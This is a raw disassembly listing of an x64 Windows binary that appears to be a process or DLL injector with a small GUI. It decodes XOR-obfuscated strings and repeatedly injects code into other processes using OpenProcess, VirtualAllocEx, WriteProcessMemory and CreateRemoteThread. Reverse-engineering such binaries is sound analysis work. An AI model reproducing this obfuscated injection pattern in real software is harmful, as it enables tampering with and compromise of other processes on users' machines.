paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140004570
cmp r8d, 0x1f
jge 0x1400046c3
movsxd rax, r8d
lea r9, [rbp - 0x28]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1f
jl 0x140004690
mov qword [rbp + 0x78], r12
lea rdx, [rbp + 0x78]
lea rcx, [rbp - 0x28]
call fcn.140001420
mov rsi, rax
mov r8d, dword [rbp + 0x80]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r14, rax
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, qword [rbp + 0x78]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
mov qword [rsp + 0x20], r12
mov r9, qword [rbp + 0x78]
mov r8, rsi
mov rdx, rax
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [rbp + 0xb8], r12d
lea rax, [rbp + 0xb8]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
mov r9, rdi
xor r8d, r8d
xor edx, edx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [rbp + 0x88], 0x100
lea rdx, [rbp + 0x88]
lea rcx, [rbp + 0x240]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
movsd xmm0, qword [str.uABRVMSTR]
movsd qword [rbp - 0x80], xmm0
movzx eax, word [0x140039b28]
mov word [rbp - 0x78], ax
cmp byte [0x140039b29], r12b
je 0x1400047bb
mov byte [rbp - 0x80], 0x41
xor byte [rbp - 0x7f], 0x35
xor byte [rbp - 0x7e], 0x36
xor byte [rbp - 0x7d], 0x37
xor byte [rbp - 0x7c], 0x38
xor byte [rbp - 0x7b], 0x39
xor byte [rbp - 0x7a], 0x3a
xor byte [rbp - 0x79], 0x3b
xor byte [rbp - 0x78], 0x3c
xor byte [rbp - 0x77], 0x3d
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
mov qword [rbp + 0xa0], r12
mov qword [rbp + 0xa8], r12
lea rax, [rbp + 0x240]
mov rdi, 0xffffffffffffffff
mov r8, rdi
inc r8
cmp byte [rax + r8], r12b
jne 0x1400047e4
lea rdx, [rbp + 0x240]
lea rcx, [rbp + 0x90]
call fcn.140006970
movups xmm0, xmmword [0x140039980]
movups xmmword [rbp - 0x58], xmm0
movups xmm1, xmmword [0x140039990]
movups xmmword [rbp - 0x48], xmm1
movsd xmm0, qword [0x1400399a0]
movsd qword [rbp - 0x38], xmm0
movzx eax, word [0x1400399a8]
mov word [rbp - 0x30], ax
movzx eax, byte [0x1400399aa]
mov byte [rbp - 0x2e], al
mov r8d, r12d
cmp r15d, 2
jl 0x14000498d
movdqa xmm5, xmmword [0x14003e500]
movdqa xmm4, xmmword [0x14003e600]
movdqa xmm6, xmmword [0x14003e530]
movdqa xmm0, xmmword [0x14003e570]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp - 0x54]
mov edx, dword [rsp + 0x70]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14003e550]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14003e550]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140004880
cmp r8d, 0x2b
jge 0x1400049d3
movsxd rax, r8d
lea r9, [rbp - 0x58]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2b
jl 0x1400049a0
xorps xmm0, xmm0
movups xmmword [rbp - 8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 8], xmm1
lea rax, [rbp - 0x80]
inc rdi
cmp byte [rax + rdi], r12b
jne 0x1400049e6
mov r8, rdi
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 8]
call fcn.140006970
lea rdx, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0xf
cmova rdx, qword [rbp + 0x90]
mov r8, qword [rbp + 0xa0]
lea rcx, [rbp - 8]
call fcn.140006670
xorps xmm0, xmm0
movups xmmword [rbp + 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x48], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x38], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x48], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
lea rdx, [rbp - 0x58]
lea rcx, [rbp + 0x38]
call fcn.140006580
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xd0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xc0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xd0], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
mov rdx, qword [rbp + 0x50]
cmp rdx, 0xf
jbe 0x140004ad0
inc rdx
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004acb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004b13
call fcn.140036ec0
movdqa xmm0, xmmword [0x14003e4c0]
movdqu xmmword [rbp + 0x48], xmm0
mov byte [rbp + 0x38], r12b
mov rdx, qword [rbp + 0x10]
cmp rdx, 0xf
jbe 0x140004b1f
inc rdx
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004b1a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004b1a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140036ec0
movzx eax, word [0x1400399e0]
mov word [rbp - 0x68], ax
movsd xmm0, qword [str.lVWGkU_BYO_]
movzx eax, byte [0x1400399e2]
movsd qword [rbp - 0x70], xmm0
mov byte [rbp - 0x70], 0x58
xor byte [rbp - 0x6f], 0x35
xor byte [rbp - 0x6e], 0x36
xor byte [rbp - 0x6d], 0x37
xor byte [rbp - 0x6c], 0x38
xor byte [rbp - 0x6b], 0x39
xor byte [rbp - 0x6a], 0x3a
xor byte [rbp - 0x69], 0x3b
xor byte [rbp - 0x68], 0x3c
xor byte [rbp - 0x67], 0x3d
xor al, 0x3e
mov byte [rbp - 0x66], al
lea rdx, [rbp + 0xc0]
cmp qword [rbp + 0xd8], 0xf
cmova rdx, qword [rbp + 0xc0]
mov r9d, 0x30
lea r8, [rbp - 0x70]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0xf
jbe 0x140004bd1
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004bcc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004c20
call fcn.140036ec0
movdqa xmm0, xmmword [0x14003e4c0]
movdqu xmmword [rbp + 0xd0], xmm0
mov byte [rbp + 0xc0], r12b
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0xf
jbe 0x140004c2c
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004c27
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004c27
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140036ec0
mov rbx, qword [0x140045a18]
mov rax, qword [rbx + 0x1c20]
mov byte [rax + 0x90], 1
mov rax, qword [rbx + 0x1c20]
movss xmm0, dword [rax + 0x10]
subss xmm0, dword [rax + 0x5c]
addss xmm0, xmm7
movss xmm2, dword [rax + 0x14]
subss xmm2, dword [rax + 0x60]
movss xmm7, dword [0x14003e420]
addss xmm2, xmm7
movss dword [rax + 0xd8], xmm0
movss dword [rax + 0xdc], xmm2
movss xmm1, dword [rax + 0xf0]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0xf4]
maxss xmm0, xmm2
movss dword [rax + 0xf0], xmm1
movss dword [rax + 0xf4], xmm0
movss xmm1, dword [rbx + 0x15bc]
movss xmm0, dword [rbx + 0x15c0]
mov dword [rsp + 0x70], 0xe
movss dword [rsp + 0x74], xmm1
movss dword [rsp + 0x78], xmm0
lea rcx, [rbx + 0x1d98]
lea rdx, [rsp + 0x70]
call fcn.14001bdb0
mov dword [rbx + 0x15bc], 0x40a00000
mov dword [rbx + 0x15c0], 0x40a00000
mov rbx, qword [0x140045a18]
movss xmm1, dword [rbx + 0x15ac]
movss xmm0, dword [rbx + 0x15b0]
mov dword [rsp + 0x70], 0xb
movss dword [rsp + 0x74], xmm1
movss dword [rsp + 0x78], xmm0
lea rcx, [rbx + 0x1d98]
lea rdx, [rsp + 0x70]
call fcn.14001bdb0
mov dword [rbx + 0x15ac], 0x40a00000
mov dword [rbx + 0x15b0], 0x40a00000
mov rcx, qword [0x140045a18]
mov rax, qword [rcx + 0x1c20]
mov byte [rax + 0x90], 1
mov rax, qword [rcx + 0x1c20]
mov dword [rax + 0x260], 0x3f333333
movss xmm1, dword [rcx + 0x1994]
mulss xmm1, xmm10
mov r8, qword [rax + 0x338]
mov dword [rsp + 0x50], 0x42c80000
mov dword [rsp + 0x54], 0x41f40000
movsd xmm0, qword [str.pPECJLYO_]
movzx eax, byte [0x140039958]
movsd qword [rsp + 0x40], xmm0
mov byte [rsp + 0x48], al
test r8, r8
je 0x140004dae
mulss xmm1, dword [r8 + 0x260]
movaps xmm0, xmm1
movss dword [rcx + 0x19a8], xmm1
movss dword [rcx + 0x1990], xmm0
mov byte [rsp + 0x40], 0x44
xor byte [rsp + 0x41], 0x35
xor byte [rsp + 0x42], 0x36
xor byte [rsp + 0x43], 0x37
xor byte [rsp + 0x44], 0x38
xor byte [rsp + 0x45], 0x39
xor byte [rsp + 0x46], 0x3a
xor byte [rsp + 0x47], 0x3b
xor byte [rsp + 0x48], 0x3c
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x40]
call fcn.140030c20
test al, al
je 0x140005048
call fcn.140001690
mov ebx, eax
lea rdx, [rbp - 0x58]
call fcn.140006550
mov r10, rax
cmp byte [rax + 0x1b], r12b
je 0x140004fb3
mov r8d, r12d
cmp r15d, 2
jl 0x140004f6d
movdqa xmm5, xmmword [0x14003e500]
movdqa xmm4, xmmword [0x14003e600]
movdqa xmm6, xmmword [0x14003e530]
movdqa xmm0, xmmword [0x14003e570]
movdqa xmmword [rsp + 0x70], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14003e550]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14003e550]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140004e60
cmp r8d, 0x1c
jge 0x140004fb3
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1c
jl 0x140004f80
mov qword [rbp + 0x78], r12
lea rdx, [rbp + 0x78]
mov rcx, r10
call fcn.140001420
mov rsi, rax
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r14, rax
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, qword [rbp + 0x78]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
mov qword [rsp + 0x20], r12
mov r9, qword [rbp + 0x78]
mov r8, rsi
mov rdx, rax
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [rbp + 0x88], r12d
lea rax, [rbp + 0x88]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
mov r9, rdi
xor r8d, r8d
xor edx, edx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rbx, qword [0x140045a18]
mov rax, qword [rbx + 0x1c20]
mov byte [rax + 0x90], 1
mov rax, qword [rbx + 0x1c20]
movss xmm0, dword [rax + 0x10]
subss xmm0, dword [rax + 0x5c]
movss xmm9, dword [0x14003e3e8]
addss xmm0, xmm9
movss xmm2, dword [rax + 0x14]
subss xmm2, dword [rax + 0x60]
addss xmm2, xmm8
movss dword [rax + 0xd8], xmm0
movss dword [rax + 0xdc], xmm2
movss xmm1, dword [rax + 0xf0]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0xf4]
maxss xmm0, xmm2
movss dword [rax + 0xf0], xmm1
movss dword [rax + 0xf4], xmm0
movss xmm1, dword [rbx + 0x15bc]
movss xmm0, dword [rbx + 0x15c0]
mov dword [rsp + 0x60], 0xe
movss dword [rsp + 0x64], xmm1
movss dword [rsp + 0x68], xmm0
lea rcx, [rbx + 0x1d98]
lea rdx, [rsp + 0x60]
call fcn.14001bdb0
mov dword [rbx + 0x15bc], 0x40a00000
mov dword [rbx + 0x15c0], 0x40a00000
mov rbx, qword [0x140045a18]
movss xmm1, dword [rbx + 0x15ac]
movss xmm0, dword [rbx + 0x15b0]
mov dword [rsp + 0x60], 0xb
movss dword [rsp + 0x64], xmm1
movss dword [rsp + 0x68], xmm0
lea rcx, [rbx + 0x1d98]
lea rdx, [rsp + 0x60]
call fcn.14001bdb0
mov dword [rbx + 0x15ac], 0x40a00000
mov dword [rbx + 0x15b0], 0x40a00000
mov rcx, qword [0x140045a18]
mov rax, qword [rcx + 0x1c20]
mov byte [rax + 0x90], 1
mov rax, qword [rcx + 0x1c20]
mov dword [rax + 0x260], 0x3f333333
movss xmm1, dword [rcx + 0x1994]
mulss xmm1, xmm10
mov r8, qword [rax + 0x338]
mov dword [rsp + 0x50], 0x42c80000
mov dword [rsp + 0x54], 0x41f40000
movsd xmm0, qword [str.dZYE]
mov eax, dword [0x140039a70]
movsd qword [rbp - 0x80], xmm0
mov dword [rbp - 0x78], eax
movzx eax, byte [0x140039a74]
mov byte [rbp - 0x74], al
test r8, r8
je 0x1400051d4
mulss xmm1, dword [r8 + 0x260]
movaps xmm0, xmm1
movss dword [rcx + 0x19a8], xmm1
movss dword [rcx + 0x1990], xmm0
mov r8d, r12d
cmp r15d, 2
jl 0x1400052fb
movdqa xmm4, xmmword [0x14003e600]
movdqa xmm2, xmmword [0x14003e500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14003e530]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14003e550]
packuswb xmm2, xmm2
mov eax, dword [0x14003e570]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.dZYE]
xorps xmm2, xmm0
movd dword [rbp - 0x80], xmm2
movdqa xmm3, xmmword [0x14003e510]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14003e530]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14003e550]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x7c]
xorps xmm2, xmm1
movd dword [rbp - 0x7c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140005310
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x80]
call fcn.140030c20
test al, al
je 0x1400055c4
mov dword [rbp + 0x80], r12d
lea rdx, [rbp + 0x80]
lea rcx, [0x140001600]
call qword [sym.imp.USER32.dll_EnumWindows]
movups xmm0, xmmword [0x140039960]
movups xmmword [rbp - 0x58], xmm0
movsd xmm0, qword [0x140039970]
movsd qword [rbp - 0x48], xmm0
movzx eax, word [0x140039978]
mov word [rbp - 0x40], ax
cmp byte [0x140039979], r12b
je 0x140005533
mov r8d, r12d
cmp r15d, 2
jl 0x1400054ed
movdqa xmm5, xmmword [0x14003e500]
movdqa xmm4, xmmword [0x14003e600]
movdqa xmm6, xmmword [0x14003e530]
movdqa xmm0, xmmword [0x14003e570]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp - 0x54]
mov edx, dword [rsp + 0x70]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14003e550]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14003e550]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400053e0
cmp r8d, 0x1a
jge 0x140005533
movsxd rax, r8d
lea r9, [rbp - 0x58]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x140005500
mov qword [rbp + 0x78], r12
lea rdx, [rbp + 0x78]
lea rcx, [rbp - 0x58]
call fcn.140001420
mov rsi, rax
mov r8d, dword [rbp + 0x80]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r14, rax
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, qword [rbp + 0x78]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
mov qword [rsp + 0x20], r12
mov r9, qword [rbp + 0x78]
mov r8, rsi
mov rdx, rax
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [rbp + 0x88], r12d
lea rax, [rbp + 0x88]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
mov r9, rdi
xor r8d, r8d
xor edx, edx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rbx, qword [0x140045a18]
mov rax, qword [rbx + 0x1c20]
mov byte [rax + 0x90], 1
mov rax, qword [rbx + 0x1c20]
movss xmm0, dword [rax + 0x10]
subss xmm0, dword [rax + 0x5c]
addss xmm0, xmm9
movss xmm2, dword [rax + 0x14]
subss xmm2, dword [rax + 0x60]
addss xmm2, xmm7
movss dword [rax + 0xd8], xmm0
movss dword [rax + 0xdc], xmm2
movss xmm1, dword [rax + 0xf0]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0xf4]
maxss xmm0, xmm2
movss dword [rax + 0xf0], xmm1
movss dword [rax + 0xf4], xmm0
movss xmm1, dword [rbx + 0x15bc]
movss xmm0, dword [rbx + 0x15c0]
mov dword [rsp + 0x60], 0xe
movss dword [rsp + 0x64], xmm1
movss dword [rsp + 0x68], xmm0
lea rcx, [rbx + 0x1d98]
lea rdx, [rsp + 0x60]
call fcn.14001bdb0
mov dword [rbx + 0x15bc], 0x40a00000
mov dword [rbx + 0x15c0], 0x40a00000
mov rbx, qword [0x140045a18]
movss xmm1, dword [rbx + 0x15ac]
movss xmm0, dword [rbx + 0x15b0]
mov dword [rsp + 0x60], 0xb
movss dword [rsp + 0x64], xmm1
movss dword [rsp + 0x68], xmm0
lea rcx, [rbx + 0x1d98]
lea rdx, [rsp + 0x60]
call fcn.14001bdb0
mov dword [rbx + 0x15ac], 0x40a00000
mov dword [rbx + 0x15b0], 0x40a00000
mov rcx, qword [0x140045a18]
mov rax, qword [rcx + 0x1c20]
mov byte [rax + 0x90], 1
mov rax, qword [rcx + 0x1c20]
mov dword [rax + 0x260], 0x3f333333
movss xmm0, dword [rcx + 0x1994]
mulss xmm0, xmm10
mov rdx, qword [rax + 0x338]
test rdx, rdx
je 0x140005715
mulss xmm0, dword [rdx + 0x260]
movss dword [rcx + 0x19a8], xmm0
movss dword [rcx + 0x1990], xmm0
mov dword [rbp + 0x78], 0x42c80000
mov dword [rbp + 0x7c], 0x41f40000
movsd xmm0, qword [0x1400399e8]
movsd qword [rsp + 0x60], xmm0
mov eax, dword [0x1400399f0]
mov dword [rsp + 0x68], eax
cmp byte [0x1400399f3], r12b
je 0x1400058b3
mov r8d, r12d
cmp r15d, 2
jl 0x14000586f
movdqa xmm4, xmmword [0x14003e600]
movdqa xmm2, xmmword [0x14003e500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14003e530]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14003e550]
packuswb xmm2, xmm2
mov eax, dword [0x14003e570]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1400399e8]
xorps xmm2, xmm0
movd dword [rsp + 0x60], xmm2
movdqa xmm3, xmmword [0x14003e510]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14003e530]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14003e550]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x64]
xorps xmm2, xmm1
movd dword [rsp + 0x64], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x60]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140005880
lea rdx, [rbp + 0x78]
lea rcx, [rsp + 0x60]
call fcn.140030c20
test al, al
je 0x140005b24
mov dword [rbp + 0x80], r12d
lea rdx, [rbp + 0x80]
lea rcx, [0x140001600]
call qword [sym.imp.USER32.dll_EnumWindows]
movups xmm0, xmmword [0x1400399b0]
movups xmmword [rbp - 8], xmm0
movups xmm1, xmmword [0x1400399c0]
movups xmmword [rbp + 8], xmm1
psrldq xmm1, 0xf
movd eax, xmm1
test al, al
je 0x140005a93
cmp r15d, 2
jl 0x140005a57
movdqa xmm5, xmmword [0x14003e500]
mov edx, r12d
